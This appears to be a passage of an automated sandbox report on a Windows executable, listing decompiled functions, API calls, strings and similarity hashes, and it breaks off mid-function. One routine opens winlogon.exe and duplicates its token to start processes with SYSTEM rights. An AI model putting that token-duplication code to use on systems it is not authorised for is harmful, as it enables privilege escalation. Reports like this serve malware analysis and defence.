0x0040641e
0x0040641f

APIs

Part of subcall function 00404AAA: GetFileAttributesW.KERNEL32(?,004063A1,?,00406458,00000000,?,00000000,00000208,?), ref: 00404AAE

wcscpy.MSVCRT ref: 004063B2
wcscpy.MSVCRT ref: 004063C2
GetPrivateProfileIntW.KERNEL32 ref: 004063D3

Part of subcall function 00405F14: GetPrivateProfileStringW.KERNEL32 ref: 00405F30

Strings

TranslatorURL, xrefs: 0040640B
charset, xrefs: 004063E1
rtl, xrefs: 004063CD
general, xrefs: 004063B7
TranslatorName, xrefs: 004063F7

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: PrivateProfilewcscpy$AttributesFileString
String ID: TranslatorName$TranslatorURL$charset$general$rtl
API String ID: 3176057301-2039793938
Opcode ID: 306b450fceaff8e5fb1a61115cabefaaa5d3384cfa9206dbc7cfbd8e55437a99
Instruction ID: e4db3026d56c82c297763cb3084dd600e002768b85b35a6fcc1e36585c673314
Opcode Fuzzy Hash: 306b450fceaff8e5fb1a61115cabefaaa5d3384cfa9206dbc7cfbd8e55437a99
Instruction Fuzzy Hash: E2F09032EA422276EA203321DC4BF2B2555CBD1B18F15417BBA08BA5D3DB7C580645ED

Uniqueness

Uniqueness Score: -1.00%

Function 0040ADF1, Relevance: 13.6, APIs: 3, Strings: 6, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E0040ADF1(signed short* __eax, void* __ecx) {
				void* _t2;
				signed short* _t3;
				void* _t7;
				void* _t8;
				void* _t10;

				_t3 = __eax;
				_t8 = __ecx;
				_t7 = 8;
				while(1) {
					_t2 =  *_t3 & 0x0000ffff;
					if(_t2 != 0x3c) {
						goto L3;
					}
					_push(_t7);
					_push(L"&lt;");
					L14:
					_t2 = memcpy(_t8, ??, ??);
					_t10 = _t10 + 0xc;
					_t8 = _t8 + _t7;
					L16:
					if( *_t3 != 0) {
						_t3 =  &(_t3[1]);
						continue;
					}
					return _t2;
					L3:
					if(_t2 != 0x3e) {
						if(_t2 != 0x22) {
							if((_t2 & 0x0000ffff) != 0xffffffb0) {
								if(_t2 != 0x26) {
									if(_t2 != 0xa) {
										 *_t8 = _t2;
										_t8 = _t8 + 2;
									} else {
										_push(_t7);
										_push(L"<br>");
										goto L14;
									}
								} else {
									_push(0xa);
									_push(L"&amp;");
									goto L11;
								}
							} else {
								_push(0xa);
								_push(L"&deg;");
								L11:
								_t2 = memcpy(_t8, ??, ??);
								_t10 = _t10 + 0xc;
								_t8 = _t8 + 0xa;
							}
						} else {
							_t2 = memcpy(_t8, L"&quot;", 0xc);
							_t10 = _t10 + 0xc;
							_t8 = _t8 + 0xc;
						}
					} else {
						_push(_t7);
						_push(L"&gt;");
						goto L14;
					}
					goto L16;
				}
			}

0x0040adf6
0x0040adf8
0x0040adfa
0x0040adfb
0x0040adfb
0x0040ae02
0x00000000
0x00000000
0x0040ae04
0x0040ae05
0x0040ae6d
0x0040ae6e
0x0040ae73
0x0040ae76
0x0040ae7f
0x0040ae83
0x0040ae86
0x00000000
0x0040ae86
0x0040ae8f
0x0040ae0c
0x0040ae10
0x0040ae1e
0x0040ae3b
0x0040ae4a
0x0040ae65
0x0040ae7a
0x0040ae7e
0x0040ae67
0x0040ae67
0x0040ae68
0x00000000
0x0040ae68
0x0040ae4c
0x0040ae4c
0x0040ae4e
0x00000000
0x0040ae4e
0x0040ae3d
0x0040ae3d
0x0040ae3f
0x0040ae53
0x0040ae54
0x0040ae59
0x0040ae5c
0x0040ae5c
0x0040ae20
0x0040ae28
0x0040ae2d
0x0040ae30
0x0040ae30
0x0040ae12
0x0040ae12
0x0040ae13
0x00000000
0x0040ae13
0x00000000
0x0040ae10

APIs

memcpy.MSVCRT ref: 0040AE28
memcpy.MSVCRT ref: 0040AE54
memcpy.MSVCRT ref: 0040AE6E

Strings

<br>, xrefs: 0040AE68
<, xrefs: 0040AE05
", xrefs: 0040AE22
&, xrefs: 0040AE4E
>, xrefs: 0040AE13
°, xrefs: 0040AE3F

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID: &$°$>$<$"$<br>
API String ID: 3510742995-3273207271
Opcode ID: 5ac42ab936778c43cffeb329e7503942126618bb1fc858f85522d1c9693fd2c2
Instruction ID: 19d6e8f9099fa728be05f60bd268fa70c064aa74fae363856be53b9475c854a8
Opcode Fuzzy Hash: 5ac42ab936778c43cffeb329e7503942126618bb1fc858f85522d1c9693fd2c2
Instruction Fuzzy Hash: FE01D25AEC8320A5EA302055DC86F7B2514D7B2B51FA5013BB986392C1E2BD09A7A1DF

Uniqueness

Uniqueness Score: -1.00%

Function 004041EB, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 197
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004041EB(intOrPtr* __ecx, intOrPtr _a4, void* _a8, intOrPtr _a12) {
				struct HDWP__* _v8;
				intOrPtr* _v12;
				void _v534;
				short _v536;
				void* __ebx;
				void* __edi;
				intOrPtr _t42;
				intOrPtr* _t95;
				RECT* _t96;

				_t95 = __ecx;
				_v12 = __ecx;
				if(_a4 == 0x233) {
					_v536 = 0;
					memset( &_v534, 0, 0x208);
					DragQueryFileW(_a8, 0,  &_v536, 0x104);
					DragFinish(_a8);
					 *((intOrPtr*)( *_t95 + 4))(0);
					E00404923(0x104, _t95 + 0x1680,  &_v536);
					 *((intOrPtr*)( *_v12 + 4))(1);
					_t95 = _v12;
				}
				if(_a4 != 5) {
					if(_a4 != 0xf) {
						if(_a4 == 0x24) {
							_t42 = _a12;
							 *((intOrPtr*)(_t42 + 0x18)) = 0x1f4;
							 *((intOrPtr*)(_t42 + 0x1c)) = 0x12c;
						}
					} else {
						E00402EC8(_t95 + 0x40);
					}
				} else {
					_v8 = BeginDeferWindowPos(0xd);
					_t96 = _t95 + 0x40;
					E00402E22(_t96, _t44, 0x401, 1, 1, 0, 0);
					E00402E22(_t96, _v8, 2, 1, 1, 0, 0);
					E00402E22(_t96, _v8, 0x419, 1, 1, 0, 0);
					E00402E22(_t96, _v8, 0x40f, 1, 1, 0, 0);
					E00402E22(_t96, _v8, 0x40e, 1, 1, 0, 0);
					E00402E22(_t96, _v8, 0x40d, 1, 1, 0, 0);
					E00402E22(_t96, _v8, 0x3fb, 0, 0, 1, 1);
					E00402E22(_t96, _v8, 0x3fd, 0, 0, 1, 1);
					E00402E22(_t96, _v8, 0x402, 0, 0, 1, 0);
					E00402E22(_t96, _v8, 0x3e9, 0, 0, 1, 0);
					E00402E22(_t96, _v8, 0x3ea, 0, 0, 1, 0);
					E00402E22(_t96, _v8, 0x3ee, 1, 0, 0, 0);
					E00402E22(_t96, _v8, 0x3f3, 1, 0, 0, 0);
					E00402E22(_t96, _v8, 0x404, 0, 0, 1, 0);
					E00402E22(_t96, _v8, 0x3f6, 1, 0, 0, 0);
					EndDeferWindowPos(_v8);
					InvalidateRect( *(_t96 + 0x10), _t96, 1);
					_t95 = _v12;
				}
				return E00402CED(_t95, _a4, _a8, _a12);
			}

0x004041f9
0x00404205
0x00404208
0x00404217
0x0040421e
0x00404236
0x0040423f
0x0040424a
0x0040425f
0x0040426b
0x0040426e
0x0040426e
0x00404275
0x004043be
0x004043ce
0x004043d0
0x004043d3
0x004043da
0x004043da
0x004043c0
0x004043c3
0x004043c3
0x0040427b
0x0040428c
0x0040428f
0x00404295
0x004042a5
0x004042b8
0x004042cb
0x004042de
0x004042f1
0x00404304
0x00404317
0x0040432a
0x0040433d
0x00404350
0x00404363
0x00404376
0x00404389
0x0040439c
0x004043a4
0x004043af
0x004043b5
0x004043b5
0x004043f5

APIs

memset.MSVCRT ref: 0040421E
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00404236
DragFinish.SHELL32(?), ref: 0040423F

Part of subcall function 00404923: wcslen.MSVCRT ref: 0040492A
Part of subcall function 00404923: memcpy.MSVCRT ref: 00404940

Part of subcall function 00402E22: GetDlgItem.USER32 ref: 00402E32
Part of subcall function 00402E22: GetClientRect.USER32 ref: 00402E44
Part of subcall function 00402E22: DeferWindowPos.USER32(?,?,00000000,?,?,?,?,00000004), ref: 00402EB4

BeginDeferWindowPos.USER32 ref: 0040427D
EndDeferWindowPos.USER32(?), ref: 004043A4
InvalidateRect.USER32(?,?,00000001), ref: 004043AF

Strings

$, xrefs: 004043CA

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: DeferWindow$DragRect$BeginClientFileFinishInvalidateItemQuerymemcpymemsetwcslen
String ID: $
API String ID: 2142561256-3993045852
Opcode ID: c61b63023b15630986e37261bc436ca147b25cc6efa51280a6e109230e3069b6
Instruction ID: d1d17b09954fcbdb96c5267886444c332edca9ead5b56a9d6021aa5aec52b2c2
Opcode Fuzzy Hash: c61b63023b15630986e37261bc436ca147b25cc6efa51280a6e109230e3069b6
Instruction Fuzzy Hash: F1518EB064011CBFEB126B52CDC9DBF7E6DEF45398F104065BA05792D1C6B84E05EAB4

Uniqueness

Uniqueness Score: -1.00%

Function 00405B81, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 55%

			E00405B81(signed short __ebx) {
				signed int _t21;
				void* _t22;
				struct HINSTANCE__* _t25;
				signed int _t27;
				void* _t35;
				signed short _t39;
				signed int _t40;
				void* _t57;
				int _t61;
				void* _t62;
				int _t71;

				_t39 = __ebx;
				if( *0x41c470 == 0) {
					E00405ADF();
				}
				_t40 =  *0x41c468;
				_t21 = 0;
				if(_t40 <= 0) {
					L5:
					_t57 = 0;
				} else {
					while(_t39 !=  *((intOrPtr*)( *0x41c460 + _t21 * 4))) {
						_t21 = _t21 + 1;
						if(_t21 < _t40) {
							continue;
						} else {
							goto L5;
						}
						goto L6;
					}
					_t57 =  *0x41c458 +  *( *0x41c464 + _t21 * 4) * 2;
				}
				L6:
				if(_t57 != 0) {
					L21:
					_t22 = _t57;
				} else {
					if((_t39 & 0x00010000) == 0) {
						if( *0x40fb90 == 0) {
							_push( *0x41c478 - 1);
							_push( *0x41c45c);
							_push(_t39);
							_t25 = E00405CE7();
							goto L15;
						} else {
							wcscpy(0x40fda0, L"strings");
							_t35 = E00405EDD(_t39,  *0x41c45c);
							_t62 = _t62 + 0x10;
							if(_t35 == 0) {
								L13:
								_t25 = GetModuleHandleW(0);
								_push( *0x41c478 - 1);
								_push( *0x41c45c);
								_push(_t39);
								goto L15;
							} else {
								_t61 = wcslen( *0x41c45c);
								if(_t61 == 0) {
									goto L13;
								}
							}
						}
					} else {
						_t25 = GetModuleHandleW(_t57);
						_push( *0x41c478 - 1);
						_push( *0x41c45c);
						_push(_t39 & 0x0000ffff);
						L15:
						_t61 = LoadStringW(_t25, ??, ??, ??);
						_t71 = _t61;
					}
					if(_t71 <= 0) {
						L20:
						_t22 = 0x40c4e8;
					} else {
						_t27 =  *0x41c46c;
						if(_t27 + _t61 + 2 >=  *0x41c470 ||  *0x41c468 >=  *0x41c474) {
							goto L20;
						} else {
							_t57 =  *0x41c458 + _t27 * 2;
							_t14 = _t61 + 2; // 0x2
							memcpy(_t57,  *0x41c45c, _t61 + _t14);
							 *( *0x41c464 +  *0x41c468 * 4) =  *0x41c46c;
							 *( *0x41c460 +  *0x41c468 * 4) = _t39;
							 *0x41c468 =  *0x41c468 + 1;
							 *0x41c46c =  *0x41c46c + _t61 + 1;
							if(_t57 != 0) {
								goto L21;
							} else {
								goto L20;
							}
						}
					}
				}
				return _t22;
			}

0x00405b81
0x00405b88
0x00405b8a
0x00405b8a
0x00405b8f
0x00405b96
0x00405b9b
0x00405bad
0x00405bad
0x00405b9d
0x00405b9d
0x00405ba8
0x00405bab
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405bab
0x00405be9
0x00405be9
0x00405baf
0x00405bb1
0x00405ce2
0x00405ce2
0x00405bb7
0x00405bbd
0x00405bf6
0x00405c4b
0x00405c4c
0x00405c52
0x00405c53
0x00000000
0x00405bf8
0x00405c02
0x00405c0e
0x00405c13
0x00405c18
0x00405c2c
0x00405c2e
0x00405c3b
0x00405c3c
0x00405c42
0x00000000
0x00405c1a
0x00405c25
0x00405c2a
0x00000000
0x00000000
0x00405c2a
0x00405c18
0x00405bbf
0x00405bc0
0x00405bcd
0x00405bce
0x00405bd7
0x00405c58
0x00405c5f
0x00405c61
0x00405c61
0x00405c63
0x00405cdb
0x00405cdb
0x00405c65
0x00405c65
0x00405c74
0x00000000
0x00405c84
0x00405c8a
0x00405c8d
0x00405c99
0x00405caf
0x00405cbd
0x00405cc8
0x00405cd4
0x00405cd9
0x00000000
0x00000000
0x00000000
0x00000000
0x00405cd9
0x00405c74
0x00405c63
0x00405ce6

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00403490), ref: 00405BC0
wcscpy.MSVCRT ref: 00405C02

Part of subcall function 00405EDD: memset.MSVCRT ref: 00405EF0
Part of subcall function 00405EDD: _itow.MSVCRT ref: 00405EFE

wcslen.MSVCRT ref: 00405C20
GetModuleHandleW.KERNEL32(00000000,?,?,?,00403490), ref: 00405C2E
LoadStringW.USER32(00000000,000001F5,?), ref: 00405C59
memcpy.MSVCRT ref: 00405C99

Part of subcall function 00405ADF: ??2@YAPAXI@Z.MSVCRT ref: 00405B19
Part of subcall function 00405ADF: ??2@YAPAXI@Z.MSVCRT ref: 00405B37
Part of subcall function 00405ADF: ??2@YAPAXI@Z.MSVCRT ref: 00405B55
Part of subcall function 00405ADF: ??2@YAPAXI@Z.MSVCRT ref: 00405B73

Strings

strings, xrefs: 00405BF8

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@$HandleModule$LoadString_itowmemcpymemsetwcscpywcslen
String ID: strings
API String ID: 3166385802-3030018805
Opcode ID: 484a3de7b2935987b64b240b2dbd95e532bbb3e4d7f0d1989cc78b1e10ca5163
Instruction ID: 6100db9a332bdf9cdae47e625800c2dd81fdb4e1827941160d8c77da4bb91491
Opcode Fuzzy Hash: 484a3de7b2935987b64b240b2dbd95e532bbb3e4d7f0d1989cc78b1e10ca5163
Instruction Fuzzy Hash: F0417A74188A149FEB149B54ECE5DB73376F785708720813AE802A72A1DB39AC46CF6C

Uniqueness

Uniqueness Score: -1.00%

Function 00401E44, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00401E44(int _a4, int _a8, intOrPtr* _a12) {
				char _v8;
				void* _v12;
				void* __esi;
				void* _t18;
				intOrPtr* _t22;
				void* _t23;
				void* _t28;
				int _t37;
				intOrPtr* _t39;
				intOrPtr* _t40;

				_v8 = 0;
				_t18 = OpenProcess(0x2000000, 0, _a8);
				_v12 = _t18;
				if(_t18 == 0) {
					_t37 = GetLastError();
				} else {
					_t39 = _a4 + 0x800;
					_a8 = 0;
					E0040289F(_t39);
					_t22 =  *((intOrPtr*)(_t39 + 4));
					if(_t22 == 0) {
						_t23 = 0;
					} else {
						_t23 =  *_t22(_v12, 2,  &_a8);
					}
					if(_t23 == 0) {
						_t37 = GetLastError();
					} else {
						_a4 = _a8;
						E0040289F(_t39);
						_t40 =  *((intOrPtr*)(_t39 + 8));
						if(_t40 == 0) {
							_t28 = 0;
						} else {
							_t28 =  *_t40(_a4, 0x2000000, 0, 2, 1,  &_v8);
						}
						if(_t28 == 0) {
							_t37 = GetLastError();
						} else {
							 *_a12 = _v8;
							_t37 = 0;
						}
						CloseHandle(_a8);
					}
					CloseHandle(_v12);
				}
				return _t37;
			}

0x00401e59
0x00401e5c
0x00401e64
0x00401e67
0x00401ef9
0x00401e6d
0x00401e70
0x00401e76
0x00401e79
0x00401e7e
0x00401e83
0x00401e92
0x00401e85
0x00401e8e
0x00401e8e
0x00401e96
0x00401ee6
0x00401e98
0x00401e9b
0x00401e9e
0x00401ea3
0x00401ea8
0x00401ebb
0x00401eaa
0x00401eb7
0x00401eb7
0x00401ebf
0x00401ed3
0x00401ec1
0x00401ec7
0x00401ec9
0x00401ec9
0x00401ed8
0x00401ed8
0x00401eeb
0x00401eeb
0x00401f01

APIs

OpenProcess.KERNEL32(02000000,00000000,00000000,00000000,winlogon.exe,?,00000000,winlogon.exe,00000000), ref: 00401E5C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?,?), ref: 00401EF3

Part of subcall function 0040289F: LoadLibraryW.KERNEL32(advapi32.dll,?,00402271,?,?,00000000), ref: 004028AB
Part of subcall function 0040289F: GetProcAddress.KERNEL32(00000000,CreateProcessWithLogonW), ref: 004028C0
Part of subcall function 0040289F: GetProcAddress.KERNEL32(00000000,CreateProcessWithTokenW), ref: 004028CD
Part of subcall function 0040289F: GetProcAddress.KERNEL32(00000000,OpenProcessToken), ref: 004028D9
Part of subcall function 0040289F: GetProcAddress.KERNEL32(00000000,DuplicateTokenEx), ref: 004028E6

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?,?), ref: 00401ECD
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?), ref: 00401ED8
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?,?), ref: 00401EE0
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?), ref: 00401EEB

Strings

winlogon.exe, xrefs: 00401E4B

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$ErrorLast$CloseHandle$LibraryLoadOpenProcess
String ID: winlogon.exe
API String ID: 1315556178-961692650
Opcode ID: e4a5705fcdc82a33d7d09986f8f31284f2fb5d3fd113eab1cd0e790a40dcb407
Instruction ID: 37dd24dd8946aa7f8aa4240fd04c0d288f38f50501b3184a6b0aa07a3247aa85
Opcode Fuzzy Hash: e4a5705fcdc82a33d7d09986f8f31284f2fb5d3fd113eab1cd0e790a40dcb407
Instruction Fuzzy Hash: FB212932900114EFDB10AFA5CDC8AAE7BB5EB04350F14893AFE06F72A0D7749D41DA94

Uniqueness

Uniqueness Score: -1.00%

Function 00405236, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00405236(short* __ebx, intOrPtr _a4) {
				int _v8;
				char _v12;
				void _v2058;
				void _v2060;
				int _t35;
				int _t41;
				signed int _t48;
				signed int _t49;
				signed short* _t50;
				void** _t52;
				void* _t53;
				void* _t54;

				_t48 = 0;
				_v2060 = 0;
				memset( &_v2058, 0, 0x7fe);
				_t54 = _t53 + 0xc;
				 *__ebx = 0;
				_t52 = _a4 + 4;
				_v12 = 2;
				do {
					_push( *_t52);
					_t6 = _t52 - 4; // 0xe80040cb
					_push( *_t6);
					_push(L"%s (%s)");
					_push(0x400);
					_push( &_v2060);
					L0040B1EC();
					_t35 = wcslen( &_v2060);
					_v8 = _t35;
					memcpy(__ebx + _t48 * 2,  &_v2060, _t35 + _t35 + 2);
					_t49 = _t48 + _v8 + 1;
					_t41 = wcslen( *_t52);
					_v8 = _t41;
					memcpy(__ebx + _t49 * 2,  *_t52, _t41 + _t41 + 2);
					_t54 = _t54 + 0x34;
					_t52 =  &(_t52[2]);
					_t23 =  &_v12;
					 *_t23 = _v12 - 1;
					_t48 = _t49 + _v8 + 1;
				} while ( *_t23 != 0);
				_t50 = __ebx + _t48 * 2;
				 *_t50 =  *_t50 & 0x00000000;
				_t50[1] = _t50[1] & 0x00000000;
				return __ebx;
			}

0x00405241
0x00405250
0x00405257
0x0040525f
0x00405262
0x00405265
0x00405268
0x0040526f
0x0040526f
0x00405277
0x00405277
0x0040527a
0x0040527f
0x00405284
0x00405285
0x00405291
0x00405296
0x004052a9
0x004052b3
0x004052b7
0x004052bc
0x004052ca
0x004052d2
0x004052d5
0x004052d8
0x004052d8
0x004052db
0x004052db
0x004052e1
0x004052e4
0x004052e8
0x004052f2

APIs

memset.MSVCRT ref: 00405257
_snwprintf.MSVCRT ref: 00405285
wcslen.MSVCRT ref: 00405291
memcpy.MSVCRT ref: 004052A9
wcslen.MSVCRT ref: 004052B7
memcpy.MSVCRT ref: 004052CA

Strings

%s (%s), xrefs: 0040527A

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpywcslen$_snwprintfmemset
String ID: %s (%s)
API String ID: 3979103747-1363028141
Opcode ID: 78317d02bfcb08935322c08fe3645b21644df8c2b86268209298db670e7b3c37
Instruction ID: 65e1e814fa0bf8ea8ab085bd6ee3311c73c19872bc06834ae6b579d31858dd7b
Opcode Fuzzy Hash: 78317d02bfcb08935322c08fe3645b21644df8c2b86268209298db670e7b3c37
Instruction Fuzzy Hash: C411517280020DEBCF21DF94CC49D8BB7B8FF44308F1144BAE944A7152EB74A6588BD8

Uniqueness

Uniqueness Score: -1.00%

Function 0040614F, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0040614F(void* __ecx, void* __eflags, struct HWND__* _a4) {
				void _v514;
				short _v516;
				void _v8710;
				short _v8712;
				int _t17;
				WCHAR* _t26;

				E0040B550(0x2204, __ecx);
				_v8712 = 0;
				memset( &_v8710, 0, 0x2000);
				_t17 = GetDlgCtrlID(_a4);
				_t34 = _t17;
				GetWindowTextW(_a4,  &_v8712, 0x1000);
				if(_t17 > 0 && _v8712 != 0) {
					_v516 = 0;
					memset( &_v514, 0, 0x1fe);
					GetClassNameW(_a4,  &_v516, 0xff);
					_t26 =  &_v516;
					_push(L"sysdatetimepick32");
					_push(_t26);
					L0040B278();
					if(_t26 != 0) {
						E00406025(_t34,  &_v8712);
					}
				}
				return 1;
			}

0x00406157
0x0040616d
0x00406174
0x0040617f
0x00406185
0x00406196
0x0040619e
0x004061b6
0x004061bd
0x004061d4
0x004061da
0x004061e0
0x004061e5
0x004061e6
0x004061ef
0x004061f9
0x004061ff
0x004061ef
0x00406206

APIs

memset.MSVCRT ref: 00406174
GetDlgCtrlID.USER32 ref: 0040617F
GetWindowTextW.USER32 ref: 00406196
memset.MSVCRT ref: 004061BD
GetClassNameW.USER32 ref: 004061D4
_wcsicmp.MSVCRT ref: 004061E6

Part of subcall function 00406025: memset.MSVCRT ref: 00406038
Part of subcall function 00406025: _itow.MSVCRT ref: 00406046

Strings

sysdatetimepick32, xrefs: 004061E0

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$ClassCtrlNameTextWindow_itow_wcsicmp
String ID: sysdatetimepick32
API String ID: 1028950076-4169760276
Opcode ID: 5da42dd6f8dc2a5a5ce51cfedbbbc012e548a5dc60c7f50195cd90505966b8bd
Instruction ID: a6c41b950ec0abdba219e0cd23eeccead18917629e413d377b87badc6c60029b
Opcode Fuzzy Hash: 5da42dd6f8dc2a5a5ce51cfedbbbc012e548a5dc60c7f50195cd90505966b8bd
Instruction Fuzzy Hash: 65117732840119BAEB20EB95DC89EDF777CEF04754F0040BAF518F1192E7345A81CA9D

Uniqueness

Uniqueness Score: -1.00%

Function 00404706, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 52
librarywindowCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00404706(long __edi, wchar_t* _a4) {
				short _v8;
				void* _t8;
				void* _t10;
				long _t14;
				long _t24;

				_t24 = __edi;
				_t8 = 0;
				_t14 = 0x1100;
				if(__edi - 0x834 <= 0x383) {
					_t8 = LoadLibraryExW(L"netmsg.dll", 0, 2);
					if(0 != 0) {
						_t14 = 0x1900;
					}
				}
				if(FormatMessageW(_t14, _t8, _t24, 0x400,  &_v8, 0, 0) <= 0) {
					_t10 = wcscpy(_a4, 0x40c4e8);
				} else {
					if(wcslen(_v8) < 0x400) {
						wcscpy(_a4, _v8);
					}
					_t10 = LocalFree(_v8);
				}
				return _t10;
			}

0x00404706
0x00404714
0x0040471c
0x00404721
0x0040472b
0x00404733
0x00404735
0x00404735
0x00404733
0x00404751
0x00404780
0x00404753
0x0040475e
0x00404766
0x0040476c
0x00404770
0x00404770
0x0040478a

APIs

LoadLibraryExW.KERNEL32(netmsg.dll,00000000,00000002,?,00000000,?,?,004047FA,?,?,?,004035EB,?,?), ref: 0040472B
FormatMessageW.KERNEL32(00001100,00000000,?,00000400,?,00000000,00000000,?,00000000,?,?,004047FA,?,?,?,004035EB), ref: 00404749
wcslen.MSVCRT ref: 00404756
wcscpy.MSVCRT ref: 00404766
LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000,?,00000000,?,?,004047FA,?,?,?,004035EB,?), ref: 00404770
wcscpy.MSVCRT ref: 00404780

Strings

netmsg.dll, xrefs: 00404726

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcscpy$FormatFreeLibraryLoadLocalMessagewcslen
String ID: netmsg.dll
API String ID: 2767993716-3706735626
Opcode ID: 1e136739243523e06bb2833156c7d3ecb9fe647eacfe1b285a6198c622c21fe1
Instruction ID: 89adc518ee94488043421af4a237527fbec77c55aa854962abbb3bd0e0f931e1
Opcode Fuzzy Hash: 1e136739243523e06bb2833156c7d3ecb9fe647eacfe1b285a6198c622c21fe1
Instruction Fuzzy Hash: 4F01D471200114FAEB152B61DD8AE9F7A6CEB46796B20417AFA02B60D1DB755E0086AC

Uniqueness

Uniqueness Score: -1.00%

Function 0040598B, Relevance: 12.1, APIs: 8, Instructions: 96
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040598B(void* __edx, void* __eflags, intOrPtr _a4) {
				intOrPtr _v12;
				void* _v16;
				intOrPtr _v20;
				char _v32;
				char _v72;
				void _v582;
				long _v584;
				void* __edi;
				intOrPtr _t27;
				wchar_t* _t34;
				wchar_t* _t42;
				long* _t43;
				int _t44;
				void* _t52;
				void* _t54;
				long _t56;
				long* _t57;
				void* _t60;

				_t60 = __eflags;
				_t52 = __edx;
				E004095AB( &_v72);
				_v584 = 0;
				memset( &_v582, 0, 0x1fe);
				E004095FD(_t52, _t60,  &_v72);
				_t27 = 0;
				_v12 = 0;
				if(_v20 <= 0) {
					L10:
					_t56 = 0;
				} else {
					do {
						_t57 = E00405A92(_t27,  &_v32);
						if(E00409A94( *_t57,  &_v584) == 0) {
							goto L9;
						} else {
							_t34 =  &_v584;
							_push(_t34);
							_push(_a4);
							L0040B278();
							if(_t34 == 0) {
								L5:
								_t44 = 0;
								_t54 = OpenProcess(0x2000000, 0,  *_t57);
								if(_t54 == 0) {
									goto L9;
								} else {
									_v16 = _v16 & 0;
									if(OpenProcessToken(_t54, 2,  &_v16) != 0) {
										_t44 = 1;
										CloseHandle(_v16);
									}
									CloseHandle(_t54);
									if(_t44 != 0) {
